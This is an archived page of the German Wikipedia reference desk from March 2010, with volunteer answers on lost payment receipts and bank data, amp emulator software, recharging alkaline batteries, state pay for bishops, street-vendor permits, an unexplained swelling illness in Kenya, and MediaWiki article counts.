Ist es schlimm, wenn man an der Kasse mit der Karte bezahlt, den Kassenzettel zwar in die Tüte oder ins Portmonee gesteckt hat und hinterher zu Hause nicht mehr findet? Ist mir einmal passiert, sollte nicht vorkommen wegen den Bankdaten. Sollte man etwas unternehmen, wenn man der Meinung ist, dass der Zettel wahrscheinlich unterwegs abhanden gekommen ist? Wenn ja, was? – PsY.cHo, 00:30, 21. Mär. 2010 (CET)[Beantworten]

Weniger schlimm als mit dem Kassenzettel bezahlt und die Karte verloren haben.--Lorielle 00:33, 21. Mär. 2010 (CET)[Beantworten]
also heutzutage kann man aus dem Kassenzettel die bankdaten nicht herausfinden... da steht nur son code, der nachweist, dass die Karte tatsächlich vorlag, und dass die transaktion autorisiert wurde (pin + deckung + so...)... --Heimschützenzentrum (?) 00:40, 21. Mär. 2010 (CET)[Beantworten]
Bei manchen Kassenzetteln steht tatsächlich die Kontonummer und Bankleitzahl dabei. Manchmal erhalte ich beim Einkauf mit der Karte einen Beleg, manchmal zwei (und auf dem zweiten Beleg stehen dann sämtliche Zahlen zur Kartenzahlung dabei). Nur weiß ich nicht mehr, was für Daten auf dem verlorenen Kassenzettel standen. Ich hoffe wirklich nicht, dass Kontonummer und Bankleitzahl drauf waren. – PsY.cHo, 00:51, 21. Mär. 2010 (CET)[Beantworten]
Also wenn Dein Name Programm ist, PsYcHo, Dann sag ich Dir jetzt mal, was Heimatschürzentrum und ich wissen in grossen, freundlichen und beruhigenden Buchstaben: Is nicht schlimm, macht garniks, don't panik. Gruss --Dansker 00:58, 21. Mär. 2010 (CET) Haben wir das nicht in Rosa? - Ach, und wenn doch, dann deckt das die Bank - im Endeffekt also wieder wir alle, das ist Wiki.[Beantworten]
Was soll denn jemand mit der Kontonummer anfangen können? Jede Firma und jeder Freiberuflicher schreibt die Kontonummer (und dazu nicht die alte BLZ, sondern das ganze IBAN, wenn sie/er nicht hoffnungslos hinterm Monde lebt) aufs Briefpapier und vor allem auf die Rechnung. Damit kann man der/dem Geld schicken, aber nicht nehmen. Und wenn die Kartennummer draufstand, kann der Dieb damit auch noch nicht viel anfangen. Und selbst wenn, Widerspruch und das Geld ist wieder da! BerlinerSchule. 01:09, 21. Mär. 2010 (CET)[Beantworten]
Lastschrift#Missbrauch_des_Lastschriftverfahrens... das mit dem Widerspruch hilft dann immer, wenn man es schnell genug merkt... --Heimschützenzentrum (?) 01:13, 21. Mär. 2010 (CET)[Beantworten]
Dank Dir, Homer --Dansker 01:17, 21. Mär. 2010 (CET)[Beantworten]
Ich sag's nochmal: Die Kontodaten jeder Firma und jedes Freiberuflers sind öffentlich zugänglich. Dennoch werden deren Konten nicht alle täglich beraubt. Eine Kontonummer ist noch lange keine Lastschriftermächtigung. BerlinerSchule. 01:25, 21. Mär. 2010 (CET)[Beantworten]
Du kannst aber im Web problemlos eine Lastschrift mit nur diesen Daten und der Adresse einrichten. Gibt mir doch mal Deine Adressdaten und Kontonummer in D, dann spende ich für Misereor ... -- Arcimboldo 02:54, 21. Mär. 2010 (CET)[Beantworten]
Man kann mit nur der Kontonummer und dem Namen auch einfach zur Bank gehen und per Lastschrift Geld einziehen. Die Bank prüft in diesem Fall gar nichts. Die machen das einfach. Das kommt häufiger vor als man denkt. Ist mir schon mehrfach passiert das dies versucht wurde. --FNORD 08:06, 21. Mär. 2010 (CET)[Beantworten]

Ich habe gerade mal meinen EDEKA-Beleg von Gestern angeschaut und von meiner Kontonummer sind dort nur die letzten 4 Ziffern sichtbar xxxxxxxx1234 Gruß -- PogoEngel 15:35, 21. Mär. 2010 (CET)[Beantworten]

Braucht man für eine Lastschrift/Einzugsermächtigung nicht auch den Namen des Kontoinhabers? Der steht auf dem Kassenbon wohl eher nicht drauf. Ansonsten wie schon oben geschrieben: völlig unbedenklich! Einfach regelmäßig den Kontoauszug überprüfen und gegebenenfalls widersprechen. Siehe auch Einzugsermächtigung#Widerspruchsfrist. --тнояsтеn 12:22, 23. Mär. 2010 (CET)[Beantworten]

Verstärker-Emulator

gibt es ein Programm (nach Möglichkeit kostenlos), mit dem man ein über den mikrofoneingang kommendes signal einer gitarre/bass verstärken und verzerren kann? grüße, --itsnotuitsme d | b 16:25, 21. Mär. 2010 (CET)[Beantworten]

Einmal wäre da natürlich en:Guitar Rig (nicht billig, angeblich aber preiswert). Ansonsten Aufnahme-Programm + VST-Plugin, da gibt's wohl auch kostenlose. Das hier könnte dir vielleicht als Einstieg dienen – auch mal die FAQ etwas weiter unten und die dort angegebenen Links lesen. Mehr kann ich dir da leider nicht zu sagen, ich spiele analog ;-) --El Grafo 19:27, 21. Mär. 2010 (CET)[Beantworten]
ich auch, da ich aber an zwei orten gleichzeitig wohne und nur einen verstärker habe, wäre ein emulator nicht schlecht. danke für die antwort, --itsnotuitsme d | b 19:37, 21. Mär. 2010 (CET)[Beantworten]
Versuchs mal mit den Programm "Audacity"...damit kannst verzerren, etc. Allerdings nur Aufnahmen...für "Live" weiß ich da leider auch nicht weiter. FreddyE 23:06, 21. Mär. 2010 (CET)[Beantworten]
… übrigens auch mit VST-Unterstützung [1]. Für Mac und Linux wäre wohl Ardour (ursprünglich mal ein ProTools-Klon) das professionellere Aufnahmeprogram; für Win gibt's noch das hoch gelobte Kristal. Beide für umme, beide mit VST-Unterstützung, habe beide noch nicht benutzt, da ich mit Audacity bisher ausgekommen bin. --El Grafo 23:31, 21. Mär. 2010 (CET)[Beantworten]
Aufnahmen sind nicht das Problem, ich brauche ein Programm, mit dem ich über meinen Computer "live" höre, was ich da spiele. grüße, --itsnotuitsme d | b 21:14, 22. Mär. 2010 (CET)[Beantworten]
mit FL Studio müsste es gehen --93.82.13.179 06:11, 23. Mär. 2010 (CET)[Beantworten]

Ha, ja das mein ich so ziemlich. Ich kam grad über Studi auf nen Link und Studi verlinkt nichts mehr direkt sondern fragt "wollen sie wirklich ....lala" - gibt's sowas auch als allgemeinen gratis dienst? Es gibt ja auch viele URL Shortener. Ich hab grad überlegt, im sinne der Hauptseiten-Diskussion ... könnte man sowas vllt. gut gebrauchen. Kennt jemand sowas?! --WissensDürster 21:12, 21. Mär. 2010 (CET)[Beantworten]

Ich denke nicht dasses da einen extra Dienst braucht. Ich wage mal nen Schuss ins Blaue und denke dass das bei Studi (und anderen Seiten die das so machen) per PHP gelöst wird. FreddyE 23:09, 21. Mär. 2010 (CET)[Beantworten]

Also unter Kurz-URL-Dienst steht ein Beispiel für einen Vorschau-Link für solche URL-Shortener. Vielleicht geht das ja in die Richtung. --Pilettes 10:52, 22. Mär. 2010 (CET)[Beantworten]
tinyurl.com ist schon ein Anfang, es erlaubt das verkürzen mit und ohne Vorschau. Aber eine Seite mit Abfrage und ohne Vorschau kennt niemand? Zur Not geht das so auch, danke erstmal. --WissensDürster 19:58, 22. Mär. 2010 (CET)[Beantworten]
The Indirectotron 9000™ --Rudolph H 20:26, 22. Mär. 2010 (CET)[Beantworten]
Danke, so ziemlich nach was ich gesucht hab. --WissensDürster 09:09, 25. Mär. 2010 (CET)[Beantworten]

Nicht-Akkumulatoren wieder aufladen

Ich bin letztens beim Zappen mal wieder über einen Tele-Shopping-Sender gestolpert, der ein Gerät vertickt hat, mit dem man angeblich ganz normale Batterien (keine Akkus) wieder aufladen kann. Hat jemand eine Idee, um was es sich da handelt und warum das funktionieren sollte? Oder was dagegen spricht? --Dubaut 23:13, 21. Mär. 2010 (CET)[Beantworten]

[2] --20% 23:17, 21. Mär. 2010 (CET)[Beantworten]
Es funktioniert tatsächlich aber nur bei Alkali Batterien und nicht so oft wie bei richtigen Akkus. Da Akkus kaum viel mehr kosten als Alkalibatterien hat sich die Methode nicht duchsetzen können. Zudem ist es auch ein Risiko dass die Batterien auslaufen können, dann wäre der Schaden grösser als die Preisdiferenz zu richtigen Akkus. Du kannst es mit einem normalen Ladergerät mal versuchen. Besser mit einem billigen Gerät das nur über einen Vorwiderstand lädt und genügend Spannungsreserve hat. Wird die Spannung resp. Ladestrom reduziert sobald ein richtiger Akku voll ist kann die normale Batterie nicht weiter geladen werden. Nennspannung eines Akkus ist 1.2 Volt, Ladespannung geht etwas bis 1.45 Volt (immer pro Zelle gemeint). Batterien habe eine Spannung von 1.5 V Moderne Ladegeräte habe eine elektronische Schaltung eingebaut die Akkus schont und trotzdem richtig lädt. --Gustav Broennimann 23:55, 21. Mär. 2010 (CET)[Beantworten]
Alkali-Mangan-Batterie#Wiederaufladen --HaSee 08:00, 22. Mär. 2010 (CET)[Beantworten]
Mit einem normalen Ladegerät würde ich das nicht probieren...IMHO Explosionsgefahr. FreddyE 08:23, 22. Mär. 2010 (CET)[Beantworten]
Also ich hab mal gelesen, dass es keine Explosionsgefahr gibt, wenn man Ladegeräte mit unter 100mA verwendet. Es gibt durchaus derartige Ladegeräte, z.B. hab ich zuhause ein uralt NiCd-Ladegerät, das man zwiischen "Quick" (150 mA) und "normal" (45 mA) umschalten kann. Allerdings sollte man da geduld haben: AA haben z.B. laut Batterie#Baugr.C3.B6.C3.9Fen eine Kapazität von ca. 2.200-3.500 mAh, also kann man damit rechnen, dass es mit 100 mAh mehr als 22-35h dauert. Richtig lang dauert es aber mit D-Zellen (ca. 20.000 mAh). --MrBurns 06:35, 24. Mär. 2010 (CET)[Beantworten]
PS: ebenfalls zu beachten ist, dass bei Alkaline die Entladeschlussspannung nur ca. 1,0-1,1V beträgt, die Zelle auf niedrigere Spannugen zu entladen kann diese schädigen und Kapazität beim Wiederaufladen reduzieren. Die meisten Geräte, die ich kennne, entladen Batterien bis ca. 0,8-0,9V, bevor sie abschalten. --MrBurns 06:39, 24. Mär. 2010 (CET)[Beantworten]

22. März 2010

Kirchenaustritte und Ihre Gründe: Werden Bischöfe vom Staat bezahlt?

Momentan ja heiß diskutiert: Stimmt es wirklich, dass die Bischöfe ein Miniterpräsidentengehalt vom Staat gezahlt bekommen? Wäre ja eine unglaubliche unverschämtheit. Oder ist es doch nur einfach so, dass die Amtskirche das staatliche Entlohnungssystem 1:1 übernommen hat? So habe ich auch schon gehört, Priester würden nach A13 bezahlt. Rolz-reus 10:44, 22. Mär. 2010 (CET)[Beantworten]

Im Falle des Badischen Konkordates ist es der Fall das Bischöfe und Domkapitel vom Land BaWü bezahlt werden. Das kommt immer auf den Staatskirchenvertrag an. Wie hoch das gehalt ist weiß ich allerdings nicht. -- PogoEngel 11:06, 22. Mär. 2010 (CET)[Beantworten]
In Bayern auch. Diese Seite schreibt mehr drüber: http://www.stop-kirchensubventionen.de/bischoefe.html . Die Verträge mit den Kirchen stammen aus der Zeit der Säkularisierung, und da wurden im Austausch gegen den Grundbesitz der Kirche halt solche Dinger rein geschrieben. Rom darf auch an etlichen deutschen Universitäten mitbestimmen wer in Theologischen Fächern Prof wird.--134.2.3.103 11:09, 22. Mär. 2010 (CET)[Beantworten]
Ohne die Zustimmung von Rom wird niemand Professor an einer (kath) Theologischen Fakultät (Nihil Obstat). Siehe auch Kirchliche Lehrerlaubnis, Missio canonica -- PogoEngel 11:13, 22. Mär. 2010 (CET)[Beantworten]
Es geht aber bei den Konkordatslehrstühlen um Lehrstühle außerhalb der Theologischen Fakultät.--134.2.3.103 11:17, 22. Mär. 2010 (CET)[Beantworten]
Die Inhaberin des Freiburger Konkordatslehrstuhl bei den Historikern ist glaube ich eine evangelische Professorin. Ist aber eigentlich auch egal... -- PogoEngel 11:21, 22. Mär. 2010 (CET)+[Beantworten]
Ich wollte gerade nachschauen, was "nihil obstat" heißt, und habe festgestellt, dass Nihil obstat und Nihil Obstat Redirects auf verschiedene Artikel sind. Sollte das geändert werden? --Eike 12:13, 23. Mär. 2010 (CET)[Beantworten]
Ich habe Nihil Obstat angepasst. In dem ursprünglich verlinkten Zielartikel taucht der Begriff nicht auf. --Zinnmann d 14:48, 23. Mär. 2010 (CET)[Beantworten]
Nochmal zur Grundfrage. Priester erhalten in den meisten Bistümern ein Gehalt um A13 (wie andere Akademiker wohl auch), aber sie bekommen das Geld nicht vom Land/Staat sondern vom Bistum, wie alle anderen Kirchenangestelten auch... Im Übrigen gilt das nicht nur für Katholiken. -- PogoEngel 15:07, 22. Mär. 2010 (CET)[Beantworten]
Diese „unglaubliche unverschämtheit“ ist eine Tatsache. Und diese ganzen Konkordate und Staatskirchenverträge stammen keineswegs alle aus der Zeit der Säkularisierung, Baden-Württemberg hat noch 2007 einen solchen Vertrag mit den evangelischen Landeskirchen abgeschlossen. Das zu NS-Zeiten mit dem Vatikan abgeschlossene Reichskonkordat ist auch immer noch in Kraft. Ganz interessant, was die Kirchen sich da für Privilegien zusichern lassen. Trennung von Staat und Kirche? In Deutschland nur ansatzweise. -- Rosenzweig δ 22:05, 22. Mär. 2010 (CET)[Beantworten]
Wenn man bedenkt das die Kirchen den Großteil der Sozialen Versorgung, vom Kindergarten bis zum Hospitz schultert und somit den Staat von seinen Pflichten befreit ist das nur all zu verständlich. Ohne die Kirchen würde der Staat die soziale Versorgung in allen Lebenslage überhaupt nicht schultern können. Da würde es hier in Deutschland ziemlich armselig ausschauen.-- Heimli Hier werden Sie geholfen! 09:48, 23. Mär. 2010 (CET)[Beantworten]
Aber gerade das stimmt doch überhaupt nicht! Meinst Du denn wirklich die AOK und die anderen Krankenkassen zahlen an ein katholisches Krankenhaus geringere Tagessätze weil im Flur noch ein paar Nonnen rumrennen? Und ein Kindergarten an dem evangelisch dransteht, der wird auch zu 90 Prozent von der Kommune bezahlt. Für die 10 Prozent die die Kirche zahlt, darf sie dann aber auch bestimmen, dass in wilder Ehe lebende Kindergärtnerinnen oder moslemische Putzfrauen hier nicht arbeiten dürfen. Rolz-reus 10:32, 23. Mär. 2010 (CET)[Beantworten]
Selbst wenn deine Zahlen von pauschal 90 % stimmen. Ist das Staat und die Kommunen froh diese nicht bezahlen zu müssen. Dann kann man die 10 % auf alle Einrichtungen hochrechnen... Zudem zählen zu den größten Arbeitgeber der BRD Caritas und Diakonie. Welche allerdings auch staatl. Mittel erhalten (aber keine 90%) -- PogoEngel 11:23, 23. Mär. 2010 (CET)[Beantworten]
Dazu hier (weiter unten im Artikel) einige Zahlen von 1993. An denen dürfte sich wenig geändert haben. -- Rosenzweig δ 14:22, 23. Mär. 2010 (CET)[Beantworten]
Ja haben sie sich Deutscher Caritasverband#Finanzierung -- PogoEngel 15:05, 23. Mär. 2010 (CET)[Beantworten]
Allerdings glaube ich die Veränderungen der Zahlen liegt daran dass die Caritas gewachsen ist, denn immer mehr Sozialeinrichtungen die von Orden betreut werden, werden in die Caritas "überführt" weil die meisten Orden sich den Unterhalt mangels Mitglieder nicht mehr leisten können. -- PogoEngel 15:09, 23. Mär. 2010 (CET)[Beantworten]

Die deutschen Kirchen dürften also im Geld schwimmen, nicht nur dass ihnen dort die Bischöfe vom Staat bezahlt werden, sondern die kirchensteuer ist auch weit höher als bei uns. Zu den sozialen Aufgaben: es ist durchaus auch möglich, dass der Staat die direkt finanziert oder betreibt, da ist nicht unbedingt der Umweg über die Kirche, die ja auch nur einen teil ihrer Einnahmen für soziale Zwecke verwendet, notwendig. z.B. in Wien sind soviel ich weiß ca. 90% aller Kindergärten öffentliche Kindergärten, daher von der Stadt Wien. --MrBurns 08:12, 24. Mär. 2010 (CET)[Beantworten]

Burns, bitte beim Thema bleiben.--91.56.204.158 08:19, 24. Mär. 2010 (CET)[Beantworten]
Mein Beitrag posst eh zum thema. Es geht darum, dass der Staat der Kirche nicht irgendwas bezahlen muß, damit diese Sozialleistungen übernehmen kann. Außerdem wieso beschwerst du dich immer nur bei mir, dass ich vom Thema abweiche, es gibt genug andere User auf der Auskunft, die das auch tun, aber bei denen beschwerst du dich nie. Wenn du so weiter machst, werd ich irgendwann eine Vandalismusmledung machen und zwar für die agnze Range 91.56.*, weil die IP ändert sich etwas innerhalb dieser Range. --MrBurns 08:25, 24. Mär. 2010 (CET)[Beantworten]

Voraussetzungen für einen mobilen Verkaufsstand

Hallo Expertenrunde, bei dem beginnenden Frühlingswetter kam uns die Idee, im Sommer einen kleinen Stand mit gekühlten Getränken auf Volksfesten zu betreiben. Sind dafür eigentlich irgendwelche Genehmigungen (Hygenie, Gewerbe oder so) einzuholen? Falls nicht könnten wir ja einfach unseren Kühlhandwagen fertig machen und los laufen. Wäre schön! Danke für die Antworten und Gruß, Egon.

Das hängt sicherlich von den gesetzlichen und Verwaltungsvorschriften ab. Die aber sind bisher noch nicht ganz einheitlich auf dieser Welt. Deshalb ist es bei solchen Fragen immer sinnvoll, die entsprechende Gebietskörperschaft (Staat, Land, Kreis, Stadt, Kanton, Provinz und was dergleichen mehr sind) dazuzusagen. Dann kann Dir vielleicht jemand helfen. BerlinerSchule. 13:04, 22. Mär. 2010 (CET)[Beantworten]
Auf Volksfesten musst du natürlich erst mal einen Standplatz kriegen und ordentlich Standgebühr abdrücken.--134.2.3.103 13:05, 22. Mär. 2010 (CET)[Beantworten]
Einfach auf dem Rathaus anrufen. Die können dir genau sagen welche Genemigungen du benötigst. --FNORD 13:33, 22. Mär. 2010 (CET)[Beantworten]
Auf die Genehmigungen kann man auch verzichten, wenn man die Verkaufsstrategie so gestaltet. --91.56.134.93 14:46, 22. Mär. 2010 (CET)[Beantworten]

Die Vorschriften dazu unterscheiden sich zum Teil kommunal. Allgemein musst du in D vermutlich immer eine Reisegewerbekarte haben, um mobil Getränke zu verkaufen. Wenn es auch alkoholische Getränke sein sollen, kommen noch einige Formulare dazu. Das Ganze erläutert dir, wie oben schon gesagt, deine freundliche Stadtverwaltung sicher gern. Beispiel Würzburg: [3]. Joyborg 21:18, 22. Mär. 2010 (CET)[Beantworten]

Und natürlich sind beim Handel von Nahrungsmittel hygenische Vorschriften zu beachten, die jeweils von Landkreis zu Landkreis, teilweise von Stadt zu Stadt, also je nach Standort des Verkaufsstandes variieren.Heimli Hier werden Sie geholfen! 09:55, 23. Mär. 2010 (CET)[Beantworten]

Es scheinen andere Personen zu sein. Was genau bedeutet der Titel? --Zulu55 13:07, 22. Mär. 2010 (CET)[Beantworten]

Bundesvorsitzender ist das gleiche wie Parteivorsitzender. Generalsekretär ist etwas anderes. Was lässt Dich zweifeln? Gruß, --Wolli 13:18, 22. Mär. 2010 (CET)[Beantworten]
hm, Stimmt, passt. --Zulu55 13:42, 22. Mär. 2010 (CET)[Beantworten]
Neben dem Bundesvorsitzenden gibt es noch Parteivorsitzende in den einzelnen Bundesländern. Kurt Beck war z.B. beides, Bundesvorsitzender und zugleich Parteivorsitzender in Rheinland-Pfalz. Wie es beim jetzigen ist, weiß ich nicht, wie heißt der überhaupt mal?--91.56.203.76 08:29, 23. Mär. 2010 (CET)[Beantworten]
Der jetzige Bundesvorsitzende der SPD heißt Sigmar Gabriel und ist nicht Vorsitzender eines Landesverbandes. --88.70.43.148 21:50, 24. Mär. 2010 (CET)[Beantworten]

Seltsame Krankheit

Hallo, ein Bekannter von mir in und aus Kenia (Alter: 22) leidet seit einiger Zeit unter merkwürdigen Symptomen. Es beginnt, wie derzeit gerade wieder, mit einer ständig zunehmenden Schwellung des Gesichts, welche sich nach und nach über den ganzen Körper ausbreitet. Er fühlt sich dabei aber im Großen und Ganzen nicht schlecht, nur ab und zu ein wenig müde, jedoch keine Schmerzen und kein Fieber.

In zwei Krankenhäusern in Kenia konnte keine Ursache ermittelt werden, Blut- und Urinwerte sind (angeblich) normal. (Ich habe allerdings keine Ahnung wie gründlich diese Untersuchungen durchgeführt wurden, da Untersuchungen und Arztebesuche hier selbst bezahlt werden müssen.) Es ist nun das dritte mal dass diese Symptome auftreten. Das erste mal vor etwa 14 Monaten, das zweite mal vor etwa 6 Monaten. Beim ersten mal klangen die Symptome nach etwa 3 Monaten wieder ab, beim zweiten mal nach gut 1 Monat. Da die Ärzte keine Ursache finden konnten, fand auch keinerlei schulmedizinische Behandlung statt.

Folgendes berichte ich ohne jegliche persönliche Wertung: Beide Fälle wurden als Verhexung behandelt. Die Heilung trat nach jeweils mehreren Sizungen mit dem witch-doctor sowie Gesundbeten ein.

Ich hoffe auf diesem Wege einen Hinweis zu erhalten, worauf man die lokalen Ärzte eventuell hinweisen könnte bzw. welche Untersuchungen erforderlich wären. Vielen Dank im voraus! MfG, --R.Schuster 14:31, 22. Mär. 2010 (CET)[Beantworten]

Das klingt so, als spielte die Lymphe da eine Rolle. Eine Art Lymphödem. Solltest du aber mit deinem Hausarzt mal besprechen, auch ein Institut für Tropenkrankheiten kontaktieren, möglicherweise liegt ja eine Infektionskrankheit zugrunde, die hier unbekannt ist. Rainer Z ... 14:55, 22. Mär. 2010 (CET)[Beantworten]
Danke für den Hinweis auf Lymphe. Da es anscheinend nicht klar rüber kam: Es handelt sich bei dem Patienten nicht um mich selbst, sondern um einen Kenianer der in Kenia lebt. Sowas wie ein Institut für Tropenkrankheiten gibt es dort wahrscheinlich nicht, sonst hätte man ihn, nehme ich zumindest an, dorthin verwiesen. MfG, --R.Schuster 15:18, 22. Mär. 2010 (CET)[Beantworten]
Nichtsdestotrotz kannst du mit dem Symptomen (vielleicht etwas mehr) ja mal Hausarzt und Institut kontaktieren. Vielleicht können die dann Hinweise geben. -- Don-kun Diskussion Bewertung 15:29, 22. Mär. 2010 (CET)[Beantworten]
War mir schon klar. Ich meinte nur, wo du qualifiziertere Hinweise als hier finden könntest um deinem Bekannten weiterzuhelfen. Rainer Z ... 15:32, 22. Mär. 2010 (CET)[Beantworten]
Sorry, ich vergaß zu erwähnen, dass ich ebenfalls in Kenia bin. Deswegen meine Frage hier in der Auskunft, da sonst niemand "in Reichweite" ist. --R.Schuster 15:37, 22. Mär. 2010 (CET)[Beantworten]
Ach so. Macht die Sache etwas komplizierter. Wie wäre es noch mit einer Anfrage in der Wikipedia:Redaktion Medizin? Vielleicht haben die eine Idee, wie du von dort aus z. B. in Deutschland fachlichen Rat finden kannst. Bei einer so auffälligen Symptomatik müsste sich ganz gut eingrenzen lassen, worum es gehen könnte. Rainer Z ... 15:56, 22. Mär. 2010 (CET)[Beantworten]
Wenn man sowohl eine allergische Reaktion als auch etwas aus der unangenehmen Varicella-Zoster-Ecke ausschließen kann (beides würde dazu passen, dass die Symptome immer wieder auftreten, dann aber auch wieder verschwinden), eventuell an Mycobacterium ulcerans denken. Die Krankheit heißt auch Buruli-Ulkus und wird gerade erst so richtig erforscht; ist in Afrika häufig und wird praktisch nur dort behandelt, wo Hilfsorganisationen die Mittel zur Verfügung stellen.
Jedenfalls ist Deine Beschreibung der Symptome zu ungenau, um sie an einen Experten weiterzuleiten. BerlinerSchule. 16:00, 22. Mär. 2010 (CET)[Beantworten]
Ich wollte auch gerade was von Mycobacterium und Yersinia fachsimpeln, wir werden es aber wohl erst rausfinden, wenn R.Schuster wieder hier ist und sich selbst hat untersuchen lassen. Schließlich ist sie/er ja gerade "in Reichweite". --Ayacop 16:05, 22. Mär. 2010 (CET)[Beantworten]

(Einrückung aufgehoben) Ersteinmal danke für Eure Mühe! @BerlinerSchule: Danke für den Hinweis auf Hilfsorganisationen, ich versuche herauszufinden, ob und welche Organisationen hier in der Gegend tätig sind. Ich kann die Beschreibung gerne noch ergänzen wenn Du mir sagst, was genau ich beschreiben soll bzw. worauf ich achten soll. Würde ein Foto helfen? @Ayacop: Ich bin leider nicht so schnell wieder hier, bzw. dort, also in Europa. Und es würde auch gar nichts bringen, denn ich bin nicht der Betroffene. MfG, --R.Schuster 18:03, 22. Mär. 2010 (CET)[Beantworten]

Da du ja zumindest informationstechnologisch mit dem Rest der Welt Eins bist, kannst du's mal hier versuchen: www.medizin.uni-tuebingen.de/tropenmedizin/ -- Grottenolm 21:40, 22. Mär. 2010 (CET)[Beantworten]
Oder hier: http://dtg.org/98.html --тнояsтеn 14:33, 23. Mär. 2010 (CET)[Beantworten]
Nur ein spontaner Gedanke: Nebst vielen anderen Dingen, könnte es sich auch um ein Hereditäres Angioödem handeln, an das auch nicht immer gleich gedacht wird. Diagnosen am grünen Tisch sind schon schlecht; übers Internet noch viel mehr. Letztlich hilft nur ein Arzt. Und ja: Gerede in der Tropenmedizin hat sich Telemedizin schon eingebürgert. Vielleicht gelingt der Kontakt zu einem der Zentren. --Firefly's luciferase 00:14, 27. Mär. 2010 (CET)[Beantworten]

Wehrdienst bei Bundespolizei

Anknüpfend an die Frage weiter oben, aber persönlich konkrete Stoßrichtung: Ist es noch aktuell, dass man seinen Wehrdienst bei der Bundespolizei ableisten kann? Wenn ja, wie? --141.20.106.68 14:58, 22. Mär. 2010 (CET)[Beantworten]

Ich dachte das wäre anderes. Wenn du zur Polizei gehst musst du keinen Wehrdienst ableisten.--134.2.3.103 15:04, 22. Mär. 2010 (CET)[Beantworten]
Das dachte ich auch. Aber guckst du hier Wehrersatzdienst -- PogoEngel 15:10, 22. Mär. 2010 (CET)[Beantworten]
Da steht's doch auch so: "Personen, die dem Vollzugsdienst der Polizei eines Landes oder des Bundes angehören oder für diesen durch schriftlichen Bescheid angenommen sind, werden nicht zum Wehr- bzw. Zivildienst herangezogen." Also, Polizeidienst ist kein Wehrdienst. --Eike 16:16, 22. Mär. 2010 (CET)[Beantworten]
Gleiches gilt übrigens auch, wenn man sich auf den Pfarrer oder Priesterberuf vorbereitet... Steht im Artikel allerdings nicht-- PogoEngel 17:32, 22. Mär. 2010 (CET)[Beantworten]
Polizeidienst als Polizeibeamter bzw. Anwärter befreit von der Wehrpflicht. Es gab aber (oder gibt es noch?) die Möglichkeit, sich nur auf Zeit beim Grenzschutz zu verpflichten und seine Wehrpflicht so abzuleisten. Hat mein Cousin in den 70ern gemacht. Von dieser Möglichkeit steht nichts im Artikel Wehrersatzdienst. Grüße, der Sperberpedo mellon a minno 17:51, 22. Mär. 2010 (CET)[Beantworten]

Grenzschutz übernimmt heute die Bundespolizei. Anstellungen auf Zeit sind mir für die heutige Zeit nicht mehr bekannt.--scif 18:53, 22. Mär. 2010 (CET)[Beantworten]

doch dort ist ein Link auf Grenzschutzdienstpflicht] -- PogoEngel 20:46, 22. Mär. 2010 (CET)[Beantworten]

Pogo, sorry, liest du aber auch mal das Verlinkte? In den 2 Abschnitten zu dieser Frage ist teilweise soviel Halbwissen geschrieben worden, meine Herrn.-- scif 13:09, 23. Mär. 2010 (CET)[Beantworten]

In dem Link wird wenn ich micht recht entsinne angegeben, dass man vom Wehrdienst befreit war wenn man sich beim Grenzschutz verpflichtete. (Das war wohl auch auf Zeit möglich). Und damit beantworte ich die Frage von Sperber, dess Cousin das wohl machte. Der Bundesgrenzschutz wurde 2005 in Bundespolizei umbenannt. Und einen "Ersatzdienst" gibt es wie im Artikel steht seit 1994 nicht mehr. Damit sollte die Frage ansich beantwortet sein ? Man ist zwar befreit wenn man bei der Bundespolizei tätig ist aber einen möglichkeit dort eine Art Wehr/Ersatzdienst abzuleisten gibt es nicht mehr. Die Informationen ziehe ich aus den Artikel Wehrersatzdienst, Grenzschutzdienstpflicht und Bundespolizei_(Deutschland) -- PogoEngel 13:28, 23. Mär. 2010 (CET)[Beantworten]

Jetzt wirds doch rund. Genauso. Ich bezog deine Antwort auf mich, das sah bissl unglücklich aus. Aber nun isses ja gescheit erklärt.-- scif 13:44, 23. Mär. 2010 (CET)[Beantworten]

Hm. In Grenzschutzdienstpflicht steht, dass Wehrpflichtige ab August 1972 zum Dienst beim BGS statt bei der Bundeswehr verpflichtet werden konnten, wenn der Bedarf nicht durch Freiwillige gedeckt wurde. Dass dies aber nur bis 1973 praktiziert wurde. Aber nicht von wann bis wann ein freiwilliger Grenzschutzdienst von welcher Dauer - ich meine, es waren acht Jahre, wie beim Katastrophenschutz - als Ersatz für den Wehrdienst möglich war. Ich finde, das würde unser kleines Lexikon interessieren;-) Grüße, der Sperberpedo mellon a minno 15:26, 23. Mär. 2010 (CET)[Beantworten]
Hm OKay dieser Information ändert schon wieder einiges... Klingt aber irgendwie komisch 8 Jahre Wochenendspolizist... ich werde mal suchen ob ich was finde.-- PogoEngel 15:57, 23. Mär. 2010 (CET)[Beantworten]
Hier werden wir nun auch noch darüber aufgklärt. ;-) -- PogoEngel 16:04, 23. Mär. 2010 (CET)[Beantworten]
Man muß zwischen dem Dienst bei der Bundespolizei (BGS) und der Polizei der Länder unterscheiden. Der Polizeidienst (Landespolizei) ist vom Wehrdienst BEFREIT, der Dienst bei der BuPo wird als Wehrdienst (nachträglich) ANERKANNT. --Ch.Weg 00:39, 24. Mär. 2010 (CET)[Beantworten]

MediaWiki-Auskunft

Ab wann ist für mediawiki ein Artikel ein Artikel der von {{NUMBEROFARTICLES}} gezhlt wird? Hab das Problem, dass mein Wiki viele 3-Zeichen-Lemmata hat, sodass ich vermute, dass da der Hund begraben liegt. {{NUMBEROFARTICLES}} listet 47 Artikel, Spezial:Kurze Seiten listet hingegen 110 Artikel, wobei die Weiterleitungen zumindest darin nicht auftauchen. --darkking3 Թ 16:25, 22. Mär. 2010 (CET)[Beantworten]

In {{NUMBEROFARTICLES}} stehen meines Wissens alle Artikel mit einem internen Link [[...]], die keine Weiterleitungen sind. --Steef 389 17:09, 22. Mär. 2010 (CET)[Beantworten]
Früher hat MediaWiki nur Seiten gezählt, die mindestens ein Komma enthielten, heute gilt: mind. ein Wikilink oder Zugehörigkeit zu einer Kategorie; vielleicht ist dein Wiki noch auf den alten Standard eingestellt? Das kann man wohl ändern, siehe mw:Manual:Article count. Gruß --Schniggendiller Diskussion 17:26, 22. Mär. 2010 (CET)[Beantworten]
Gilt dies auch, wenn alle Links und Kommata nur in einer Vorlage enthalten sind? --darkking3 Թ 19:41, 22. Mär. 2010 (CET)[Beantworten]

domestico=Hausmeier?

Ist der Begriff domestico synonym zu Hausmeier? Mittelalter-Genealogie verwendet den Begriff ohne noch einmal darauf einzugehen.--89.186.141.12 17:40, 22. Mär. 2010 (CET)[Beantworten]

